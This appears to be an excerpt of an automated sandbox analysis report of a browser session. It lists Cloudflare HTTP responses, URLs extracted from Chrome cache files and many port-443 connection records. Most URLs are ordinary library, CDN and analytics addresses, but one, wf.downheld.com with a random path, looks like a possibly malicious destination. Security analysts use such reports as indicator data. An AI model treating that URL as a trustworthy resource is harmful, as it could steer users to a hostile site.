Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 01 Apr 2025 16:22:51 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareCache-Control: max-age=14400Alt-Svc: h3=":443"; ma=86400Cf-Cache-Status: HITAge: 6998CF-RAY: 92996d79da2f0f7d-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 01 Apr 2025 16:23:05 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareVary: accept-encodingCf-Cache-Status: DYNAMICAlt-Svc: h3=":443"; ma=86400CF-RAY: 92996dd20c6bf78f-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 01 Apr 2025 16:23:06 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yjyzydC%2FCGj3yQx3x1vZuJ0EdufB4IMLz9kUiDrO9gPJ2FURYvchSh1g6HU8FG0DKdaVRGHcvLUAX6XUPgHoakxSEUSby3W5yFd9iFA0PchJdkD%2FB62%2FahzGYSWFSg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=18791&min_rtt=18567&rtt_var=87&sent=10629&recv=3348&lost=0&retrans=1&sent_bytes=12383816&recv_bytes=464290&delivery_rate=10491179&cwnd=535&unsent_bytes=0&cid=c4cd18c8177c53d4&ts=3486313&x=0"Server: cloudflareCF-RAY: 92996ddabf3e8cbd-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=105896&min_rtt=105214&rtt_var=23220&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1726&delivery_rate=34729&cwnd=214&unsent_bytes=0&cid=8a349e8d319f9095&ts=511&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 01 Apr 2025 16:23:10 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: accept-encodingcf-cache-status: DYNAMICalt-svc: h3=":443"; ma=86400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7lW5rwaaqdFoBDih4lEQnYNgqEDxHGTPTZzFUjzOuP6jLRftnHea7zqL659TfmURebhr6q%2FAhXhNWQKqP8Rn%2B1oUb1U4aEccmHkx%2FekbWFYhfwQQ4h%2B56lJVpCbeKGKhHSM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 92996deee820069b-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=107097&min_rtt=106123&rtt_var=23399&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1728&delivery_rate=35101&cwnd=240&unsent_bytes=0&cid=5b70ecc47697b833&ts=415&x=0"

Source: chromecache_116.2.dr	String found in binary or memory: http://engelschall.com)
Source: chromecache_168.2.dr	String found in binary or memory: http://feross.org
Source: chromecache_475.2.dr	String found in binary or memory: http://jedwatson.github.io/classnames
Source: chromecache_150.2.dr, chromecache_149.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT
Source: chromecache_116.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT)
Source: chromecache_140.2.dr	String found in binary or memory: http://underscorejs.org/LICENSE
Source: chromecache_176.2.dr, chromecache_168.2.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: chromecache_393.2.dr	String found in binary or memory: https://accounts.google.com/
Source: chromecache_377.2.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk?
Source: chromecache_150.2.dr, chromecache_149.2.dr	String found in binary or memory: https://animate.style/
Source: chromecache_168.2.dr	String found in binary or memory: https://assets-cdn.github.com/images/icons/emoji/octocat.png
Source: chromecache_377.2.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_176.2.dr	String found in binary or memory: https://cdn.buildin.ai/
Source: chromecache_258.2.dr	String found in binary or memory: https://cdn.buildin.ai/assets/flowus-1673199d.js
Source: chromecache_258.2.dr	String found in binary or memory: https://cdn.buildin.ai/assets/flowus-a377f5cb.css
Source: chromecache_258.2.dr	String found in binary or memory: https://cdn.buildin.ai/assets/index-a3ee534d.css
Source: chromecache_258.2.dr	String found in binary or memory: https://cdn.buildin.ai/assets/index-b987e8a9.js
Source: chromecache_258.2.dr	String found in binary or memory: https://cdn.buildin.ai/assets/index-legacy.1b0b2221.js
Source: chromecache_258.2.dr	String found in binary or memory: https://cdn.buildin.ai/assets/lodash-e50e3886.js
Source: chromecache_258.2.dr	String found in binary or memory: https://cdn.buildin.ai/assets/og-image.png
Source: chromecache_258.2.dr	String found in binary or memory: https://cdn.buildin.ai/assets/polyfills-1566fe7f.js
Source: chromecache_258.2.dr	String found in binary or memory: https://cdn.buildin.ai/assets/polyfills-legacy.d298c497.js
Source: chromecache_258.2.dr	String found in binary or memory: https://cdn.buildin.ai/assets/react-vendor-04523c56.js
Source: chromecache_258.2.dr	String found in binary or memory: https://cdn.buildin.ai/assets/tiptap-c155648d.js
Source: chromecache_176.2.dr	String found in binary or memory: https://cdn.buildin.ai/emoji/katex.min.css
Source: chromecache_258.2.dr	String found in binary or memory: https://cdn.buildin.ai/fe-web-app-images/favicon.png
Source: chromecache_176.2.dr, chromecache_258.2.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/katex
Source: chromecache_258.2.dr	String found in binary or memory: https://cdn.jsdelivr.net/npm/mermaid
Source: chromecache_258.2.dr	String found in binary or memory: https://cdn.staticfile.org/vConsole/3.15.0/vconsole.min.js
Source: chromecache_176.2.dr	String found in binary or memory: https://cdn2.flowus.cn/
Source: chromecache_176.2.dr	String found in binary or memory: https://cdn2.flowus.cn/emoji/katex.min.css
Source: chromecache_168.2.dr	String found in binary or memory: https://clipboardjs.com/
Source: chromecache_168.2.dr	String found in binary or memory: https://cloud.tencent.com/document/product/436/13318
Source: chromecache_168.2.dr	String found in binary or memory: https://cloud.tencent.com/document/product/436/8629
Source: chromecache_475.2.dr	String found in binary or memory: https://feross.org
Source: chromecache_176.2.dr	String found in binary or memory: https://firebase.googleapis.com/v1alpha/projects/-/apps/
Source: chromecache_176.2.dr	String found in binary or memory: https://firebaseinstallations.googleapis.com/v1
Source: chromecache_176.2.dr	String found in binary or memory: https://firebaselogging.googleapis.com/v0cc/log?format=json_proto
Source: chromecache_176.2.dr	String found in binary or memory: https://firebaseremoteconfig.googleapis.com/v1/projects/
Source: chromecache_168.2.dr	String found in binary or memory: https://github.com/ecomfe/zrender/blob/master/LICENSE.txt
Source: chromecache_176.2.dr	String found in binary or memory: https://github.com/focus-trap/tabbable/blob/master/LICENSE
Source: chromecache_116.2.dr	String found in binary or memory: https://github.com/jquery/jquery/blob/master/src/event.js
Source: chromecache_168.2.dr	String found in binary or memory: https://github.com/mholt/PapaParse
Source: chromecache_116.2.dr	String found in binary or memory: https://github.com/nodeca/js-yaml
Source: chromecache_116.2.dr	String found in binary or memory: https://jquery.org/license/
Source: chromecache_207.2.dr, chromecache_226.2.dr	String found in binary or memory: https://lh3.googleusercontent.com/a/ACg8ocLfPbyQt3uIEcyUsmIQIh8P950Tb2HTQzrdTMJ0T9KomuNbnQ=s96-c
Source: chromecache_176.2.dr	String found in binary or memory: https://lib.baomitu.com/KaTeX/0.16.9/katex.min.css
Source: chromecache_475.2.dr	String found in binary or memory: https://localforage.github.io/localForage
Source: chromecache_140.2.dr	String found in binary or memory: https://lodash.com/
Source: chromecache_140.2.dr	String found in binary or memory: https://lodash.com/license
Source: chromecache_168.2.dr	String found in binary or memory: https://o.wpsgo.com
Source: chromecache_239.2.dr	String found in binary or memory: https://open.weixin.qq.com
Source: chromecache_239.2.dr	String found in binary or memory: https://open.weixin.qq.com/connect/qrconnect?appid=
Source: chromecache_140.2.dr	String found in binary or memory: https://openjsf.org/
Source: chromecache_377.2.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_377.2.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: chromecache_377.2.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect
Source: chromecache_377.2.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect?v=2&
Source: chromecache_377.2.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_116.2.dr	String found in binary or memory: https://tldrlegal.com/license/mit-license
Source: chromecache_168.2.dr	String found in binary or memory: https://view.officeapps.live.com/op/embed.aspx?src=
Source: chromecache_172.2.dr, chromecache_294.2.dr	String found in binary or memory: https://wf.downheld.com/Te2y0P/
Source: chromecache_377.2.dr	String found in binary or memory: https://www.google.com
Source: chromecache_377.2.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_377.2.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_377.2.dr	String found in binary or memory: https://www.googletagmanager.com/a?
Source: chromecache_176.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js
Source: chromecache_377.2.dr	String found in binary or memory: https://www.googletagmanager.com/static/service_worker/
Source: chromecache_377.2.dr	String found in binary or memory: https://www.merchant-center-analytics.goog
Source: chromecache_377.2.dr	String found in binary or memory: https://www.youtube.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
